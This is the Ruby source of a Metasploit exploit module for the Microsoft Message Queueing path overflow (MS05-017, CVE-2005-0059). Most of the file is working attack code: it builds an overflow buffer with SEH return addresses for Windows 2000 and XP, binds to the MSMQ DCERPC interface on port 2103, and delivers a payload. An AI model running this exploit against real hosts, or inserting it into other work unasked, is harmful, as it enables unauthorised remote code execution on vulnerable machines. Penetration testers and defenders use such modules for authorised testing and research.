161 lines
4.4 KiB
Ruby
161 lines
4.4 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/projects/Framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Windows::Dcerpc::MS05_017_MSMQ < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::DCERPC
|
|
include Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Message Queueing Service Path Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the RPC interface
|
|
to the Microsoft Message Queueing service. The offset to the
|
|
return address changes based on the length of the system
|
|
hostname, so this must be provided via the 'HNAME' option.
|
|
Much thanks to snort.org and Jean-Baptiste Marchand's
|
|
excellent MSRPC website.
|
|
|
|
},
|
|
'Author' => [ 'hdm' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '15458'],
|
|
[ 'CVE', '2005-0059'],
|
|
[ 'MSB', 'MS05-017'],
|
|
[ 'BID', '13112'],
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
|
|
},
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Apr 12 2005',
|
|
'DefaultTarget' => 0))
|
|
|
|
# Change the default port values to point at MSMQ
|
|
register_options(
|
|
[
|
|
Opt::RPORT(2103),
|
|
OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]),
|
|
], self.class)
|
|
end
|
|
|
|
def autofilter
|
|
# Common vulnerability scanning tools report port 445/139
|
|
# due to how they test for the vulnerability. Remap this
|
|
# back to 2103 for automated exploitation
|
|
|
|
rport = datastore['RPORT'].to_i
|
|
if ( rport == 2103 or rport == 2103 )
|
|
datastore['RPORT'] = 2103
|
|
end
|
|
|
|
# The NetBIOS hostname is required to exploit this bug reliably.
|
|
if (not datastore['HNAME'])
|
|
# XXX automatically determine the hostname
|
|
return false
|
|
end
|
|
|
|
true
|
|
end
|
|
|
|
def exploit
|
|
|
|
# MSMQ supports three forms of queue names, the two we can use are
|
|
# the IP address and the hostname. If we use the IP address via the
|
|
# TCP: format, the offset to the SEH frame will change depending on
|
|
# the length of the real hostname. For this reason, we force the user
|
|
# to supply us with the actual hostname.
|
|
|
|
# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName
|
|
|
|
queue_name = "OS:#{datastore['HNAME']}";
|
|
queue_hlen = datastore['HNAME'].length * 2
|
|
queue_path = unicode(queue_name + "\\PRIVATE$\\")
|
|
|
|
buf = rand_text_english(4000, payload_badchars)
|
|
|
|
# Windows 2000 SEH offset goes first
|
|
buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
|
|
buf[372 - queue_hlen - 4, 2] = "\xeb\x22"
|
|
|
|
# Windows XP SEH offset goes second
|
|
seh = generate_seh_payload(target['Rets'][1])
|
|
buf[400 - queue_hlen - 4, seh.length] = seh
|
|
|
|
# Append the path to the location and null terminate it
|
|
queue_path << buf << "\x00\x00"
|
|
|
|
# Get the unicode length of this string
|
|
queue_plen = queue_path.length / 2
|
|
|
|
connect
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
|
print_status("Binding to #{handle} ...")
|
|
dcerpc_bind(handle)
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
stubdata =
|
|
NDR.long(1) +
|
|
NDR.long(1) +
|
|
NDR.long(1) +
|
|
NDR.long(3) +
|
|
NDR.long(3) +
|
|
NDR.long(2) +
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)
|
|
|
|
print_status('Sending exploit ...')
|
|
|
|
response = dcerpc.call(9, stubdata)
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
case dcerpc.last_response.stub_data
|
|
when "\x20\x00\x0e\xc0"
|
|
print_status("The server rejected our request, the HNAME parameter could be incorrect")
|
|
when "\x1e\x00\x0e\xc0"
|
|
print_status("The server does not appear to be exploitable")
|
|
else
|
|
print_status("An unknown response was received from the server:")
|
|
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
|
|
end
|
|
end
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|
|
end
|